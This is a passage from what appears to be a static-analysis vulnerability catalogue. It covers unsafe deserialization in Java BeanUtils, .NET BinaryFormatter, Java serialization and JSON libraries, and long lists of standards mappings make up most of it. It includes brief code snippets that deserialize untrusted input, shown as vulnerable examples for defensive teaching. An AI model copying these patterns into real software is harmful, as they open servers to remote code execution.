[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.dynamic_code_evaluation_script_injection
Abstract
Deserializing user-controlled objects using BeanUtils may allow attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.
Explanation
BeanUtils is used to deserialize user-controlled data, in this case a Redis Hash, which contains type discriminators and values to be assigned to the object fields. BeanUtils will reconstruct the object by invoking the setters for these fields, allowing an attacker to pass arbitrary data to an arbitrary class setter. If attackers can specify the classes of the objects to be reconstructed and are able to force the application to run arbitrary setters with user-controlled data, they may be able to execute arbitrary code during the deserialization of the Redis Hash.

Example 1: The following code uses BeanUtilsHashMapper to deserialize Redis Hashes that might enable attacker in control of such Hashes to run arbitrary code.


HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[21] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_unsafe_beanutils_deserialization
Abstract
Deserializing user-controlled object streams at runtime can allow attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.
Explanation
.NET serialization turns object graphs into byte or XML streams that contain the objects themselves and the necessary metadata to reconstruct them from the stream. Developers can create custom code to aid in the process of deserializing .NET objects, where they can replace the deserialized objects with different objects, or proxies. The customized deserialization process takes place during objects reconstruction, before the objects are returned to the application and cast into expected types. By the time developers try to enforce an expected type, code may have already been executed.

Example 1: The following function takes a Stream object from a connection as input and deserializes it back to a .NET object. This then returns the result after casting it to a list of string objects:


...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...


For better understanding, Example 1 can be rewritten as the following:

Example 2:

...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...


In Example 2, the deserialization operation will succeed as long as the input stream is valid, regardless of whether the type is List <string> or not.

Custom deserialization routines are defined in the serializable classes which need to be present in the bin folder or in the GAC and cannot be injected by the attacker, so the exploitability of these attacks depends on the classes available in the application environment. Unfortunately, common third party classes or even .NET classes can be abused to exhaust system resources, delete files, deploy malicious files, or run arbitrary code.
References
[1] Security Considerations for Data
[2] James Forshaw Are you my Type? Breaking .NET Through Serialization
[3] David LeBlanc, Michael Howard Writing Secure Code (2nd Edition) Microsoft Press
[4] Standards Mapping - Common Weakness Enumeration CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[21] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[22] Standards Mapping - OWASP Top 10 2010 A1 Injection
[23] Standards Mapping - OWASP Top 10 2013 A1 Injection
[24] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[25] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.dotnet.dynamic_code_evaluation_unsafe_deserialization
Abstract
Deserializing user-controlled object streams at runtime can allow attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.
Explanation
Java serialization turns object graphs into byte streams that contain the objects themselves and the necessary metadata to reconstruct them from the byte stream. Developers can create custom code to aid in the process of deserializing Java objects, where they can replace the deserialized objects with different objects, or proxies. The customized deserialization process takes place during objects reconstruction, before the objects are returned to the application and cast into expected types. By the time developers try to enforce an expected type, code may have already been executed.

Custom deserialization routines are defined in the serializable classes which need to be present in the runtime classpath and cannot be injected by the attacker so the exploitability of these attacks depends on the classes available in the application environment. Unfortunately, common third party classes or even JDK classes can be abused to exhaust JVM resources, deploy malicious files, or run arbitrary code.
References
[1] Fortify Software Security Research The perils of Java deserialization
[2] Fortify Application Defender
[3] Oracle Java Serialization
[4] IBM Look-ahead Java deserialization
[5] OWASP Deserialization of untrusted data
[6] Standards Mapping - Common Weakness Enumeration CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[24] Standards Mapping - OWASP Top 10 2010 A1 Injection
[25] Standards Mapping - OWASP Top 10 2013 A1 Injection
[26] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[27] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.java.dynamic_code_evaluation_unsafe_deserialization
Abstract
Deserializing user-controlled Json streams might enable attackers to execute arbitrary code on the server, abuse application logic, and/or lead to denial of service.
Explanation
Json serialization libraries which turn object graphs into Json formatted data may include the necessary metadata to reconstruct the objects back from the Json stream. If attackers can specify the types of the objects to be reconstructed and are able to force the application to run arbitrary setters with user-controlled data, they may be able to execute arbitrary code during the deserialization of the Json stream.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
